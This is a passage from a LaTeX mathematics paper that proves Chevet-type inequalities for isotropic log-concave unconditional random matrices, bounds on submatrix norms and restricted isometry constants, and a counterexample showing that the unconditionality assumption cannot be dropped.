where $\Id$ denotes the formal identity $\R^N \to \R^N$ or $\R^n \to \R^n$.
Given a subset $K\subset \R^d$ the convex hull of $K$ is denoted by $\conv (K)$.
A random vector $X =(X_1,\ldots,X_N)$ is called
unconditional if for every sequence of signs
$\varepsilon_1,\ldots,\varepsilon_N$, the law of
$(\varepsilon_1 X_1,\ldots,\varepsilon_N X_N)$ is the same as the
law of $X$.
A random vector $X$ in $\R^n$ is called isotropic if
$$
\E\langle X,y\rangle=0,\quad \E\,|\langle X, y \rangle|^{2}=\|y\|_2^{2}
\quad \mbox{\rm for all }
y\in \R^{n},
$$
in other words, if $X$ is centered and its covariance matrix
$\E\, X\otimes X$ is the identity.
A random vector $X$ in $\R^n$ with full dimensional support is called
log-concave if it has a log-concave density. Notice that all isotropic
vectors have full dimensional support.
By $E_i$, $E_{ij}$ we denote independent symmetric exponential
random variables with variance $1$ (i.e. with the density
$2^{-1/2} \exp(-\sqrt{2}\ |x|)$). By $g_i$, $g_{ij}$ we denote
standard independent ${\cal N}(0, 1)$ Gaussian random variables.
The $n\times N$ random matrix with entries $g_{ij}$ will be called
the Gaussian matrix, the $n\times N$ random matrix with
entries $E_{ij}$ will be called the exponential random matrix.
Similarly, the vectors $G=(g_1, \ldots, g_d)$ and
$Y=(E_1, \ldots, E_d)$ are called Gaussian and exponential
random vectors.
In the sequel we often consider $n\times N$ matrices as
vectors in $\R^d$ with $d=nN$ and the inner product defined by
$$
\la A, B\ra = \sum _{i, j} a_{i j} b_{i j}
$$
for $A = (a_{i j})$, $B = (b_{i j})$. Clearly,
the corresponding Euclidean structure is given by Hilbert-Schmidt
norm of a matrix:
$$
|A| = \|A\| _2 = \left(\sum _{i, j} |a_{i j}|^2 \r)^{1/2} .
$$
In this notation we have $\|A\| _{\infty} = \max _{i, j} |a_{i j}| $.
We say that such a matrix $A$ is isotropic/log-concave/unconditional if
it is isotropic/log-concave/unconditional as a vector in $\R^d$, $d=nN$
(cf. the definition given in the introduction).
Given $x\in \R^N$ and $y\in \R^n$, denote by $x\otimes y =y x^\top$ the matrix
$\{y_i x_j\}_{ij}$, i.e. the matrix corresponding to the linear operator
defined by
$$
x\otimes y \ (z) = \la z , x \ra y.
$$
Then, for an $n\times N$ matrix $\Gam$
$ = (\gamma _{i j} )$,
$$
\|\Gam : K \to L \| = \sup _{x\in K} \sup _{y\in L^{\circ}}
\sum _{i, j} \gamma _{i j} x_j y_i = \sup _T
\la \Gam, x\otimes y \ra ,
$$
where the latter supremum is taken over
$$
T = K\otimes L^{\circ} = \{ x\otimes y \ \colon \ x\in K,\ y\in L^{\circ} \}.
$$
We will use the letters $C, C_0, C_1, \ldots$, $c, c_0, c_1, \ldots$
to denote positive absolute constants whose values may differ at each
occurrence.
We also use the notation $F\approx G$ if there are two positive absolute
constants $C$ and $c$ such that $c \, G \leq F \leq C \, G$.
\medskip
Now we state some results which will be used in the sequel.
We start with the following lemma, which provides asymptotically
sharp bounds on the norm of the exponential matrix considered as
an operator $\ell _1^N \to \ell _1^n$. We will use it in our
examples on sharpness of some estimates.
\begin{lemma}\label{lonenorm}
Let
$\Gamma =(E_{ij})_{i \leq n, j\leq N}$. Then
$$
\E \ \| \Gam \ :\ \ell _1^N \to \ell _1^n \|
\approx n + \ln N.
$$
\end{lemma}
\noindent
{\bf Proof.}
First note
\begin{equation}\label{llonenorm}
\| \Gam \ :\ \ell _1^N \to \ell _1^n \|=\max_{i\leq N}\sum_{j=1}^n|E_{ij}|.
\end{equation}
By the Chebyshev inequality for every $i\leq n$ we have
$$
\Pr\Big(\sum_{j=1}^n|E_{ij}|\geq t\Big) \leq \exp\Big(-\frac{t}{2}
\Big)\ \Ex\exp \Big(\frac{1}{2}\sum_{j=1}^n|E_{ij}|\Big) \leq
C^n\exp\Big(-\frac{t}{2}\Big)
$$
for some absolute constant $C>0$.
Hence the union bound and integration by parts gives
$$
\E \ \| \Gam \ :\ \ell _1^N \to \ell _1^n \|
\leq C\left(n + \ln N \r) .
$$
On the other hand, by (\ref{llonenorm})
$$
\Ex\| \Gam \ :\ \ell _1^N \to \ell _1^n \|\geq \Ex\sum_{j=1}^n|E_{1j}| = n/\sqrt{2}
$$
and
$$
\Ex\| \Gam \ :\ \ell _1^N \to \ell _1^n \|\geq \Ex\max_{i\leq N} |E_{i1}|
\approx 1+ \ln N
$$
(the last equivalence is well-known and follows from direct computations).
This completes the proof.
\qed
\medskip
The next theorem is a comparison theorem from \cite{La2}.
\begin{theorem} \label{Latala}
Let $X$ be an isotropic log-concave unconditional random vector in
$\R^d$ and $Y = (E_1, \ldots, E_d)$ be an exponential random vector.
Let $\|\cdot\|$ be a norm on $\R^d$. Then
$$
\E\|X\| \le C\ \E\|Y\| ,
$$
where $C$ is an absolute positive constant.
Moreover, for every $t \ge 1$,
$$
\P(\|X\| \ge t) \le C\ \P(\|Y\|\ge t/C).
$$
\end{theorem}
\medskip
\noindent
{\bf Remark. }
The condition ``$X$ is unconditional" cannot be omitted in
Theorem~\ref{Latala}. We show an example
proving that in Section~\ref{example}.
\medskip
We will also use two Talagrand's results on behavior of random processes.
The first one characterizes suprema of Gaussian and exponential processes in
terms of the $\gamma_q$ functionals.
For a metric space $(E, \rho)$ and $q > 0$ we define the
$\gam _q$ functional as
\begin{displaymath}
\gamma_q (E,\rho) = \inf_{(A_s)_{s=0}^\infty} \sup_{x \in E}
\sum_{s=1}^\infty 2^{s/q}\ {\rm dist}(x,A_s),
\end{displaymath}
where the infimum is taken over all sequences $(A_s)_{s=0}^\infty$
of subsets of $E$, such that $|A_0| = 1$ and $|A_s| \le 2^{2^s}$
for $s \ge 1$.
The following theorem combines Theorems 2.1.1 and 5.2.7 in \cite{Tal}.
\begin{theorem}
\label{mm}
Let $T\subset \R^d$ and $\rho _q$ denote the $\ell _q$ metric. Then
$$
\E \sup _{z\in T} \sum _{i=1}^d z_i g_i \approx \gam _2(T, \rho _2)
\quad \mbox{ and } \quad
\E \sup _{z\in T} \sum _{i=1}^d z_i E_i \approx \gam _2(T, \rho _2) +
\gam _1(T, \rho _{\infty}).
$$
\end{theorem}
\medskip
We will also use Talagrand's result on the deviation of supremum of
exponential processes from their averages. It follows by Talagrand's two
level concentration for product exponential measure
(\cite{Taltwo}).
\begin{theorem} \label{conexp}
Let $T$ be a compact subset of $\R^d$. Then for any $t \ge 0$,
\begin{displaymath}
\P\left(\sup_{z\in T}\left|\sum_{i=1}^d z_i E_i\r| \ge \E
\sup_{z\in T}\bigg|\sum_{i=1}^d z_i E_i\bigg| + t\r) \le
\exp\left(-c\min\left\{\frac{t^2}{a^2},\frac{t}{b}\r\}\r),
\end{displaymath}
where $a = \sup_{z\in T} |z|$, $b = \sup_{z\in T}\|z\|_\infty$.
\end{theorem}
\section{Chevet type inequality}
\label{chevetineq}
\begin{theorem}\label{Chevet}
Let $\Gamma$ be an isotropic log-concave unconditional random
$n\times N$ matrix. Let $K\subset \R^N$, $L\subset \R^n$ be
origin symmetric convex bodies. Then
\begin{align*}
&\E \|\Gam : K \to L \|
\\
&\leq
C \left(\|\Id : K\to B_2^N \| \cdot \E\left\|
\sum_{i=1}^n E_i e_i \r\| _{L} + \|\Id : B_2^n \to L \| \cdot \E\left\|
\sum_{i=1}^N E_i e_i \r\| _{K^{\circ}} \r) .
\end{align*}
\end{theorem}
\medskip
\noindent
{\bf Example.}
One of the most important examples of matrices satisfying the hypothesis
of Theorem~\ref{Chevet} are matrices whose rows (or columns) are independent
isotropic log-concave unconditional random vectors. Indeed, it is easy to see
that if $X$, $Y$ are independent isotropic log-concave random vectors
then so is $(X, Y)$. If $X$, $Y$ are in addition unconditional
then clearly $(X, Y)$ is unconditional. Therefore, if rows (or columns) of
a matrix $\Gamma$ are independent isotropic log-concave random vectors then
$\Gamma$ is isotropic log-concave. If rows (resp. columns) are in addition
unconditional, then so is $\Gamma$. We will use it in Section~\ref{RIP}.
\bigskip
\noindent
{\bf Remarks. 1. }
In fact in the Gaussian case the equivalence holds in the
Chevet inequality. However, in the log-concave case one cannot hope
for the reverse inequality even in the case of exponential matrix and
unconditional convex bodies $K$, $L$. Indeed, consider the matrix
$\Gamma =(E_{ij})$ as an operator $\ell _1^N \to \ell _1^n$,
i.e. $K=B_1^N$, $L=B_1^n$. By Lemma~\ref{lonenorm}
$$
\Ex\| \Gam \ :\ \ell _1^N \to \ell _1^n \| \approx n + \ln N .
$$
On the other hand, the right hand side term in Theorem~\ref{Chevet} is
$$
C \left( \E \sum_{i=1}^n |E_i | + \sqrt{n}\ \E\max_{j\leq N}
|E_i| \r) \approx n + \sqrt{n}\ \ln (2N).
$$
Thus, if $N\geq e^n$ then the ratio between the right hand side and the
left hand side is of the order $\sqrt{n}$.
\\
{\bf 2.} The following weak form of a reverse inequality holds for the
exponential matrix $\Gamma =(E_{ij})_{i\leq n,j\leq N}$:
\[
\E \|\Gam : K \to L \|
\geq \frac{1}{2}
\left(\max_{i\leq N}\|e_i\|_{K^{\circ}} \cdot \E\left\|
\sum_{i=1}^n E_i e_i \r\| _{L}
+
\max_{i\leq n}\|e_i\|_{L} \cdot \E\left\|
\sum_{i=1}^N E_i e_i \r\| _{K^{\circ}} \r) .
\]
Indeed, fix $1\leq \ell\leq N$ and take $x\in K$ such that
$\|e_\ell\|_{K^{\circ}}=|\langle e_\ell,x\rangle|=|x_\ell|$.
Then
\begin{align*}
\E \|\Gam : K \to L \|&\geq \Ex\|\Gam x\|_L=\Ex\Big\|\sum_{
i\leq n, j\leq N} E_{ij}x_je_i\Big\|_L\geq \Ex\Big\|\sum_{
i\leq n}E_{i\ell}x_\ell e_i\Big\|_L
\\
&=|x_\ell|\ \Ex\Big\|\sum_{i\leq n}E_ie_i\Big\|_L
=\|e_\ell\|_{K^{\circ}}\ \Ex\Big\|\sum_{i\leq n}E_ie_i\Big\|_L.
\end{align*}
This shows that
$$
\E \|\Gam : K \to L \|\geq \max_{i\leq N}\|e_i\|_{K^{\circ}}\
\Ex\left\|\sum_{i\leq n}E_ie_i\r\|_L
$$
and by duality we have
$$
\E \|\Gam : K \to L \|= \E \|\Gam^T : L^{\circ} \to K^{\circ} \| \geq
\max_{i\leq n} \|e_i\|_{L}\ \Ex\left\|\sum_{i\leq N}E_ie_i\r\|_{K^{\circ}} .
$$
{\bf 3. } As in Theorem~\ref{Latala}, the condition ``$\Gamma$ is unconditional"
cannot be omitted in Theorem~\ref{Chevet}. We show an example proving that
in Section~\ref{example}.
\medskip
\noindent
{\bf Proof of Theorem~\ref{Chevet}. }
First note that considering the matrix $\Gamma$ as a vector
in $\R^{nN}$ and applying Theorem \ref{Latala}, we obtain that
it is enough to prove Theorem~\ref{Chevet} for the case
of the exponential matrix.
{}From now we assume that $\Gam =(E_{ij})$.
Denote as before
$
T = K\otimes L^{\circ} = \{ x\otimes y \ \colon \ x\in K,\ y\in L^{\circ} \}.
$
Then by Theorem~\ref{mm}
$$
\E \|\Gam : K \to L \| = \E \sup _{x\in K} \sup _{y\in L^{\circ}}
\sum _{i, j} E_{i j} x_j y_i = \E \sup _T \la \Gam, x\otimes
y \ra \approx \gam _2(T, \rho _2) + \gam _1(T, \rho _{\infty})
$$
and
$$
\E\left\| \sum_{i=1}^n E_i e_i \r\| _{L} \approx
\gam _2(L^{\circ}, \rho _2) + \gam _1(L^{\circ}, \rho _{\infty}) ,
$$
$$
\E\left\| \sum_{i=1}^N E_i e_i \r\| _{K^{\circ}}
\approx
\gam _2(K, \rho _2) + \gam _1(K, \rho _{\infty}).
$$
Thus it is enough to show that
\begin{equation}\label{chinone}
\gam _2(T, \rho _2)
\leq C\left( R(K) \gam _2(L^{\circ}, \rho _2) +
R(L^{\circ}) \gam _2(K, \rho _2) \r)
\end{equation}
and
\begin{equation}\label{chintwo}
\gam _1(T, \rho _{\infty}) \leq C\left( R(K) \gam _1(L^{\circ}, \rho _{\infty})
+ R(L^{\circ}) \gam _1(K, \rho _{\infty}) \r).
\end{equation}
Inequality (\ref{chinone}) is the Chevet inequality for the Gaussian case.
Indeed by Theorem \ref{mm}
$$
\gam _2(T, \rho _2)
\approx \E \sup _{z\in T}
\sum _{i, j} z_{ij} g_{ij} = \E \| (g_{ij}) \ : K \to L \|
$$
and
$$
R(K) \gam _2(L^{\circ}, \rho _2) +
R(L^{\circ}) \gam _2(K, \rho _2)
\approx R(K) \E \sup _{z\in L^{\circ}} \sum _{i=1}^n z_i g_i
+ R(L^{\circ}) \E \sup _{z\in K} \sum _{i=1}^N z_i g_i .
$$
In fact we could prove (\ref{chinone}) without the use of the Chevet inequality,
but by the chaining argument similar to the one used for the proof of
(\ref{chintwo}) below (cf. also \cite{MT}).
It remains to prove inequality (\ref{chintwo}).
Let $A_s \subset K$ and $B_s \subset L^{\circ}$, $s\geq0$, be admissible
sequences of sets (i.e., with $|A_0|=|B_0| = 1$, $|A_s|,|B_s| \le 2^{2^s}$
for $s \ge 1$).
Define an admissible sequence $(C_s)_{s\geq 0}$ by $C_0 =\{0\}$ and
$$
C_s = A_{s-1}\otimes B_{s-1} \subset K\otimes L^{\circ}, \quad s\geq 1.
$$
Note that for all $x,\tilde{x} \in K$ and for all $y,\tilde{y}\in L^{\circ}$
one has
\begin{align*}
\|x\otimes y - \tilde x \otimes \tilde y \|_{\infty }
&\le
\| x \|_{\infty } \cdot \|y - \tilde y \|_{\infty }
+ \| \tilde y \|_{\infty }\cdot \|x - \tilde x \|_{\infty }
\\
& \leq
R(K) \|y - \tilde y \|_{\infty} +
R(L^{\circ}) \|x - \tilde x \|_{\infty }.
\end{align*}
Therefore
\begin{align*}
\gamma_1(K\otimes L^{\circ}, \rho_{\infty})
\le&
\sup _{x\otimes y \in K\otimes L^{\circ}}
\sum_{s=0}^\infty 2^s\dist(x\otimes y,C_s)
\\
\le& R(K) \sup _{y \in L^{\circ}} \left( \|y\| _{\infty} +
\sum_{s=1}^\infty 2^s \dist(y, B_{s-1}) \r)
\\
&+R(L^{\circ}) \sup _{x \in K} \left( \|x\| _{\infty} +
\sum_{s=1}^\infty 2^s \dist(x, A_{s-1})\r) .
\end{align*}
Taking the infimum over all admissible sequences $(A_s)$ and $(B_s)$ we get
\begin{align*}
\gamma_1&(K\otimes L^{\circ}, \rho_{\infty})
\\
&\le
R(K) \left(\mbox{diam} _\infty L^{\circ} + 2 \gamma_1(L^{\circ}, \rho_\infty)\r)
+ R(L^{\circ})\left(\mbox{diam} _\infty K + 2 \gamma_1(K, \rho_\infty)\r)
\\
&\le 4 R(K) \gamma_1(L^{\circ}, \rho_\infty) + 4 R(L^{\circ}) \gamma_1(K, \rho_\infty) ,
\end{align*}
where in the last inequality we used the fact that the diameter is clearly dominated
by doubled $\gam _1$ functional.
\qed
\begin{cor}\label{probest} Let $\Gamma$, $K$, $L$ be as in Theorem~\ref{Chevet}.
Then for every $t>0$,
$$
\|\Gam : K \to L \|
\leq C \left( R(K) \cdot \E\left\|
\sum_{i=1}^n E_i e_i\r\| _{L} + R(L^{\circ}) \cdot \E\left\|
\sum_{i=1}^N E_i e_i\r\| _{K^{\circ}} + t \r)
$$
with probability at least
$$
1-\exp\left(-c\min\left\{\frac{t^2}{\sig^2},\frac{t}{\sig'}\r\}\r)\geq
1 - \exp\left(-c\min\left\{\frac{t^2}{\sig^2},\frac{t}{\sig}\r\}\r),
$$
where $\sig = R(K)R(L^{\circ})$ and $\sig'=\sup_{x\in K}\|x\|_{\infty}\sup_{y\in
L^{\circ}}\|y\|_{\infty}$.
\end{cor}
\noindent
{\bf Proof.}
As in the proof of Theorem \ref{Chevet} it is enough to consider the case
$\Gam = (E _{ij})$. Moreover it suffices to show that
\[
\Pr(\|\Gam : K \to L \|\geq \Ex \|\Gam : K \to L \|+t)\leq
\exp\left(-c\min\left\{\frac{t^2}{\sig^2},\frac{t}{\sig'}\r\}\r).
\]
To obtain the above estimate we use Theorem~\ref{conexp}. Recall that
$\|\Gam : K \to L\| = \sup_T\langle \Gam,x\otimes y\rangle$, where
$T=K\otimes L^{\circ}$. Thus we can easily compute parameters $a$ and
$b$ in Theorem~\ref{conexp}:
$$
a = \sup _T |x\otimes y | = \sup _{x\in K, \ y\in L^{\circ}} |x|\cdot |y|
= \sig
$$
and
$$
b = \sup _T \|x\otimes y \|_{\infty}=\sup _{x\in K, \ y\in L^{\circ}}
\|x\|_{\infty}\cdot \|y\|_{\infty} = \sig' .
$$
\qed
\section{Norms of submatrices and RIP}
\label{RIP}
Here we estimate the norms of submatrices of an isotropic unconditional
log-concave random $n\times N$ matrix $\Gamma$.
Recall that for subsets $ J\subset \{1,\ldots,n\}$ and $ I \subset
\{1,\ldots,N\}$, $\Gamma(J, I)$ denotes the submatrix of $\Gamma$
consisting of the rows indexed by elements from $J$ and the columns
indexed by elements from $I$. Recall also that for $k\le n$ and $m\le N$,
$\Gamma_{k,m}$ is defined by
\begin{equation}
\label{akmcorr}
\Gamma_{k,m} =
\sup \|\Gamma (J, I)\ :\ \ell_2^m \to \ell_2^k\| ,
\end{equation}
where the supremum is taken over all subsets
$ J\subset \{1,\ldots,n\}$ and $ I \subset \{1,\ldots,N\}$ with
cardinalities $ |J| = k, |I|= m$.
That is, $\Gamma_{k,m}$ is the maximal operator norm
of a submatrix of $\Gam$ with $k$ rows and $m$ columns.
We also denote the set of $\ell$-sparse unit vectors on $\R^d$
by $U_{\ell}$ (or $U_{\ell}(d)$, when we want to emphasize the dimension
of the underlying space) and its convex hull by $\tilde U_{\ell}$, i.e.
$$
U_{\ell} = U_{\ell}(d) = \{x \in \R^{d} \colon |\supp x| \le \ell \, \,
\mbox{ and } \, \, |x|=1\},\quad
\mbox{and}\quad \tilde {U_{\ell}}=\conv(U_{\ell}).
$$
Thus
$$
\Gam_{k,m} = \left\| \Gam \ : \ \tilde U_m (N) \to (U_k (n))^{\circ} \r\| .
$$
Note that $(U_k (n))^{\circ} = (\tilde U_k (n))^{\circ}$. Below $U_{\ell}^{\circ}$
means $(U_{\ell})^{\circ}$.
\bigskip
\noindent {\bf Remark. }
For matrices with $N$ independent log-concave columns and $k=n$ the
sharp estimates for $\Gamma_{n,m}$ were obtained in \cite{ALPT}.
\medskip
To treat the general case we will need the following simple lemma.
\begin{lemma}
\label{estUm}
For any $1\leq \ell\leq n$ we have
\[
\E\left\| \sum_{i=1}^n E_i e_i \r\| _{U_{\ell}^{\circ}} \approx
\sqrt{\ell}\ln\frac{3n}{\ell}.
\]
\end{lemma}
\noindent
{\bf Proof.}
By Borell's lemma (\cite{Bo}) we have
\[
\left(\E\left\| \sum_{i=1}^n E_i e_i \r\| _{U_{\ell}^{\circ}}\right)^2\approx
\E\left\| \sum_{i=1}^n E_i e_i \r\|^2 _{U_{\ell}^{\circ}}
=\Ex\sup_{I\subset\{1.\ldots,n\}\atop |I|=\ell}\sum_{i\in I}E_i^2
=\sum_{i=1}^{\ell}\Ex |E_i^*|^2,
\]
where $E_1^*,\ldots,E_n^*$ denotes the nonincreasing rearrangement of
$|E_1|,\ldots,|E_n|$. We conclude the proof by the standard well known
estimate $\Ex |E_i^*|^2\approx (\ln (3n/i))^2$.
\qed
\medskip
Now observe that $\Gamma$ satisfies the hypothesis of Theorem~\ref{Chevet}
and that $\tilde U_{\ell} \subset B_2^n$, so $R(\tilde U_{\ell})=1$. Thus
Theorem~\ref{Chevet} implies
$$
\E \Gamma_{k,m} \leq
C \left( \E\left\| \sum_{i=1}^N E_i e_i \r\| _{U_m^{\circ}} +
\E\left\| \sum_{i=1}^n E_i e_i \r\| _{U_k^{\circ}} \r),
$$
which together with Lemma~\ref{estUm} and Corollary~\ref{probest}
implies the following theorem.
\begin{theorem}\label{subm} There are absolute positive constants
$C$ and $c$ such that the following holds.
Let $m\leq N$ and $k\leq n$.
Let $\Gam$ be an isotropic unconditional
log-concave random $n\times N$ matrix. Then
$$
\E \Gamma_{k,m} \leq
C \left( \sqrt{m}\ \ln\frac{3N}{m} +
\sqrt{k}\ \ln\frac{3n}{k} \r) .
$$
Moreover, for every $t>0$,
$$
\Gamma_{k,m} \leq C \left(\sqrt{m}\ \ln\frac{3N}{m} +
\sqrt{k}\ \ln\frac{3n}{k} + t \r)
$$
with probability at least
$$
1 - \exp\left(-c\min\left\{ t, t^2 \r\}\r).
$$
\end{theorem}
\medskip
\noindent
{\bf Remarks. 1.\ } In the case when $\Gam=(E_{ij})$ we have
\begin{align*}
\E \Gamma_{k,m} &\geq \max\Big\{\E\Big\|\sum_{i=1}^N E_i
e_i\Big\|_{U_m^{\circ}}, \E\Big\|\sum_{i=1}^n E_i e_i
\Big\|_{U_k^{\circ}}\Big\}
\\
&\geq
\frac{1}{C} \left( \sqrt{m}\ \ln\frac{3N}{m} +
\sqrt{k}\ \ln\frac{3n}{k} \r) .
\end{align*}
\noindent
{\bf 2. } Theorem~\ref{subm} can be proved directly
(i.e. without Chevet inequality) using a chaining argument in
the spirit of \cite{ALPT}. We provide the details in the last
section. Similar estimates (with worse probability) were recently
independently obtained in \cite{MP}.
\bigskip
We now estimate the restricted isometry constant (RIC) of a
random matrix $\Gamma$ with independent unconditional isotropic
log-concave rows. As was mentioned in the example following
Theorem~\ref{Chevet} such $\Gamma$ is unconditional isotropic
log-concave. Recall that the RIC of order $m$ is the smallest number
$\delta = \delta _m(\Gam)$ such that
$$
(1-\delta ) |x|^2 \leq |\Gam x|^2 \leq (1+\delta ) |x|^2.
$$
for every $x\in U_m$.
The following theorem is an ``unconditional" counterpart of Theorem~6.4
from \cite{ALLPT3} (see also Theorem~7 in \cite{ALLPT4}). Its proof repeats
the lines of the corresponding proof in \cite{ALLPT3}. The result is sharp
up to absolute constants.
\begin{theorem} \label{rip} Let $0<\theta < 1$.
Let $\Gam$ be an $n\times N$ random matrix, whose rows are independent
unconditional isotropic log-concave vectors in $\R^N$.
Then $\delta _m (\Gam/\sqrt n) \leq \theta$ with probability at least
$$
1- \exp\left( - c\ \frac{ \theta ^2 n}{\ln ^2 n} \right) -
2 \exp{\left(- c\ \sqrt{m} \ln \frac{3 N }{m}\right)} ,
$$
provided that either
\\
(i) \ $N\leq n$ and
$$
m\approx \min\left\{N, \ \frac{\theta ^2 n }{\ln ^3 (3/\theta) } \r\}
$$
or \\
(ii) \ $N\geq n$ and
$$
m \leq c \ \frac{\theta n}{\ln (3N/(\theta n))} \
\min\left\{ \frac{1}{\ln (3N/(\theta n))},
\frac{\theta }{\ln ^2 (3/\theta )} \r\} ,
$$
where $c>0$ is an absolute constant.
\end{theorem}
\medskip
\noindent
{\bf Remarks. 1.} The condition on $m$ in (ii) can be written as follows
$$
\mbox{if}\quad
\theta \geq \frac{\ln ^2 \ln (3N/ n)}{\ln (3N/ n)}
\quad \quad
\mbox{ then }
\quad \quad
m \leq c \ \frac{\theta n}{\ln ^2 (3N/(\theta n))} ,
\quad \quad\quad \quad\quad \quad \quad
$$
$$
\mbox{if}\quad \theta \leq \frac{\ln ^2 \ln (3N/n)}{\ln (3N/n)}
\quad \quad
\mbox{ then }
\quad \quad
m \leq c \ \frac{\theta ^2}{\ln^2 (3/\theta)} \
\frac{n}{\ln (3N/ (\theta n))}.\quad \quad \quad \quad\, \,
$$
{\bf 2. } Precisely the proof of Theorem~6.4 in \cite{ALLPT3}
(with estimates from our Theorem~\ref{subm}) gives that if
$$
b_m := m \left( \ln \frac{3 N }{m}\r)^2 \le c \theta n
$$
and
$$
m \ln \frac{3 N}{m} \ln ^2 \frac{n}{b_m} \le c \theta ^2 n
$$
then $ \delta _m (\Gam/\sqrt n) \leq \theta$
with probability at least
$$
1- \exp\left( - c\ \frac{ \theta ^2 n}{\ln ^2 (n/b_m)} \right) -
2 \exp{\left(- c\ \sqrt{m} \ \ln \frac{3 N}{m}\right)} .
$$
\section{An example}
\label{example}
In this section we prove that the condition ``$X$ is unconditional"
cannot be omitted in Theorems~\ref{Latala} and \ref{Chevet}. Namely, first
we construct an example of isotropic log-concave non-unconditional
$d$-dimensional random vector $X$ and a norm $\no$ on $\R^d$, which
fails to satisfy the conclusion of Theorem~\ref{Latala}. Then we consider
the matrix consisting of one column $X$ as an operator from $(\R, |\cdot|)$
to $(\R^d, \no)$ and show that
it does not satisfy the Chevet type inequality.
The idea of the construction of $X$ is rather simple -- we start with
a matrix with i.i.d. exponential entries and rotate its columns by a
``random'' rotation. Considering the matrix as a vector with operator
norm $\ell_1\to \ell _1$ we prove the result.
\begin{theorem} \label{latexam}
Let $d\geq 1$ and $Y = (E_1, \ldots, E_d)$.
There exists an isotropic log-concave random vector $X$ in $\R^d$ and a
norm $\|\cdot\|$ such that
\begin{equation}\label{lowbound}
\E\|X\| \ge c\ \sqrt{\ln d}\, \, \E\|Y\|,
\end{equation}
where $c>0$ is an absolute constant.
Moreover, the $d\times 1$ matrix $B$, whose the only column is $X$, satisfies
$$
\E \| B : [-1, 1] \to L \|
\geq
c\ \sqrt{\ln d}\, \left( \E\left\| \sum_{i=1}^d E_i e_i \r\| _{L}
+ \|\Id : B_2^d \to L \| \r) ,
$$
where $L$ is the unit ball of $\no$.
\end{theorem}
\medskip
\noindent
{\bf Proof. } Let $n, N$ be integers such that $d=nN$.
Consider an $n\times N$ matrix $\Gam =(E_{ij})$. Denote its columns by
$X_1, \ldots, X_N$, so that $\Gam = [X_1, \ldots, X_N]$. As before,
we consider $\Gam$ as a $d$-dimensional vector.
Given $U\in O(n)$ rotate the columns of $\Gam$ by $U$:
$$
A=A(U)=U \Gam = [UX_1, \ldots, UX_N].
$$
Then $A$ is a log-concave isotropic vector in $\R^d$. Below we show that
if $N=\lfloor e^{cn} \rfloor$ for some absolute constant $c>0$ then there
exists $U_0\in O(n)$ such that
\begin{equation}\label{exalat}
\E _{\Gam} \ \| A(U_0) \ :\ \ell _1^N \to \ell _1^n \|
\geq c_1 \sqrt{\ln d}\ \
\E _{\Gam} \ \| \Gam \ :\ \ell _1^N \to \ell _1^n \| .
\end{equation}
This will prove the first part of the theorem, since it is clearly enough
to consider only such $n, N, d$ by adjusting the constant in the main statement.
To prove (\ref{exalat}) we estimate the average of $\|A(U)\|$ over $U\in O(n)$.
For every $x$ in $\R^n$ we have
$$
\P _{O(n)} \left(\left\{ \| U x \| _1 \geq c_2 \sqrt{n} \ \|x\|_2 \r\}\r)
=\sigma_{n-1}(\{y\colon \|y\|_1\geq c_2\sqrt{n}\})
\geq 1- \exp(- 2 c n),
$$
where $\sigma_{n-1}$ denotes the uniform distribution on $S^{n-1}$ and the last
inequality follows by simple volumetric argument
(or by concentration, see e.g. 2.3, 5.1 and 5.3 in \cite{MS}).
Thus, if $N\leq e^{cn}$,
$$
\P _{O(n)} \left(\left\{ \forall i\leq N \ : \| U X_i \| _1 \geq c_2
\sqrt{n} \ \|X_i\|_2 \r\}\r)
\geq 1- \exp(- c n) \geq \frac{1}{2}.
$$
Hence
$$
\E _{O(n)} \ \max_{i\leq N} \| U X_i \| _1 \geq c_2 \sqrt{n} \
\max_{i\leq N} \| X_i \|_2,
$$
which implies
\begin{align*}
\E _{\Gam} \ \E _{O(n)} \ \| A(U) \ :\ \ell _1^N \to \ell _1^n \| &\geq
c_2 \sqrt{n} \ \ \E _{\Gam} \ \max_{i\leq N} \| X_i \|_2 \\
&\geq
c_2 \sqrt{n} \ \ \E _{\Gam} \ \max_{i\leq N} | E_{1, i} |
\geq
c_3 \sqrt{n} \ \ln N.
\end{align*}
By Lemma~\ref{lonenorm}
$$
\E _{\Gam} \ \| \Gam \ :\ \ell _1^N \to \ell _1^n \|
\approx n + \ln N .
$$
Thus, taking $N=\lfloor e^{cn} \rfloor$,
$$
\frac{ \E _{O(n)} \ \E _{\Gam} \ \| A(U) \ :\ \ell _1^N \to \ell _1^n \|}{
\E _{\Gam} \ \| \Gam \ :\ \ell _1^N \to \ell _1^n \|}
\geq c_4 \frac{\sqrt{n} \ \ln N}{ n+\ln N}
\geq c_5 \sqrt{\ln N} \geq c_6 \sqrt{\ln d}.
$$
Hence there exists $U_0\in O(n)$ satisfying (\ref{exalat}).
Now we will prove the ``moreover" part of the theorem. Recall that $L$ is
the unit ball of the norm $\|\cdot\|$ constructed above. The log-concave
vector under consideration is $X=A(U_0)$ and the matrix which
provides the counterexample to the Chevet type inequality is $B=[X]$.
By the above calculations we have
$$
\E \| B : [-1, 1] \to L \| = \E \|X\| _L =
\E \| A(U_0) \ :\ \ell _1^N \to \ell _1^n \|
\geq c\ (\ln d)^{3/2}
$$
and
$$
\E\left\| \sum_{i=1}^d E_i e_i \r\| _{L} = \E \| \Gam \ :\ \ell _1^N
\to \ell _1^n \| \approx n + \ln N \approx \ln d.
$$
It is easy to check that for every $n\times N$ matrix $T=(t_{ij})$
one has
$$
\| T \ :\ \ell _1^N \to \ell _1^n \| = \max _{j\leq N} \sum_{i=1}^{n}
|t_{ij}| \leq \sqrt{n} \left(\sum_{i=1}^{n}\sum_{i=1}^{n} |t_{ij}|^2
\r)^{1/2} = \sqrt{n} \ |T|,
$$
where $\sqrt{n}$ is the best possible constant in the inequality.
This shows that
$$
\|\Id : B_2^d \to L \| =\sqrt{n} \approx \sqrt{\ln d}.
$$
Thus
$$
\E\left\| \sum_{i=1}^d E_i e_i \r\| _{L} + \|\Id : B_2^d \to L \|
\approx \ln d,
$$
which completes the proof.
\qed
\bigskip
\noindent
{\bf Concluding remarks. 1.}
The above example is optimal in the sense that one can't expect
better than $\sqrt{\ln d}$ dependence on dimension in (\ref{lowbound}).
Indeed, let $Y=(E_1,\ldots,E_d)$. We show that for any $U\in O(d)$ and
any norm $\|\cdot \|$ on $\er^d$ one has
\begin{equation}\label{contrex}
\Ex\|UY\|\leq C\sqrt{\log(ed)}\ \Ex\|Y\|.
\end{equation}
First it is known that $\Ex\|Y\|\leq C\sqrt{\log(ed)}\ \Ex\|G\|$, where
